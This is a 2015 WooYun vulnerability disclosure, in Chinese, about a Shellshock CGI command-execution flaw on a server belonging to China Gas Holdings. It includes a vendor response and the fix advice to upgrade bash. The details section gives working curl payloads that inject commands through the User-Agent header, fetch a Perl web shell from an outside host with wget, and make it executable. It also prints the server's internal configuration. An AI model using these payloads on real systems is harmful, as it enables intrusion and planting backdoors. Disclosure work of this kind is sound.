当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155792

漏洞标题:中国燃气控股有限公司某重要服务存在CGI命令执行漏洞(非struts)

相关厂商:中国燃气控股有限公司

漏洞作者: 路人甲

提交时间:2015-11-25 17:50

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-25: 细节已通知厂商并且等待厂商处理中
2015-11-27: 厂商已经确认,细节仅向厂商公开
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

哇,CGI命令执行漏洞。

详细说明:

curl http://**.**.**.**:8082/cgi-bin/test-cgi -H "User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/ls -l;"

1.png


2.png


找到web目录,发现是cgi的,为了方便找了个cgi shell上传
curl http://**.**.**.**:8082/cgi-bin/test-cgi -H "User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/wget http://**.**.**.**/b.pl -O /home/richmail/gfile/apache2/cgi-bin/b;"
给个执行权限
curl http://**.**.**.**:8082/cgi-bin/test-cgi -H "User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/chmod +x b;"

3.png

漏洞证明:

location / {
index index.html index.htm index.php index.jsp;
root /home/richmail/nginx/html;
}
location /webadmin {
index index.html index.htm index.php index.jsp;
# proxy_pass **.**.**.**:40180;
proxy_pass **.**.**.**:40280;
}

location /webmail/static/se/mail/history.htm {
index index.html index.htm index.php index.jsp;
root /home/richmail/web/html/resource;
proxy_cache tmp_cache;
proxy_cache_valid 20m;
expires 2h;
}
location /webmail {
index index.html index.htm index.php index.jsp;
proxy_pass **.**.**.**:40180;
}


看了一些配置,第一次遇到这种情况,代理到本地的40180端口,lsof看下这个端口上跑的进程

4.png


richmail 21487 6.7 6.3 15425692 4164320 ? Sl Nov13 1077:16 /home/richmail/jdk/jre/bin/java -Dnop -server -Xms4096m -Xmx4096m -Xmn2560m -XX:PermSize=512m -XX:MaxPermSize=512m -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -Dfile.encoding=UTF8 -Djava.endorsed.dirs=/home/richmail/web/tomcat7/endorsed -classpath /home/richmail/web/tomcat7/bin/bootstrap.jar:/home/richmail/web/tomcat7/bin/tomcat-juli.jar -Dcatalina.base=/home/richmail/web/tomcat7 -Dcatalina.home=/home/richmail/web/tomcat7 -D**.**.**.**.tmpdir=/tmp org.apache.catalina.startup.Bootstrap start root 21678 0.0 0.0 0 0 ? S Jul17 2:19 [cifsd]


T_T JAVA不是太了解了,不过第一次见到这种服务架构,涨了姿势。

修复方案:

升级bash。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-27 14:06

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无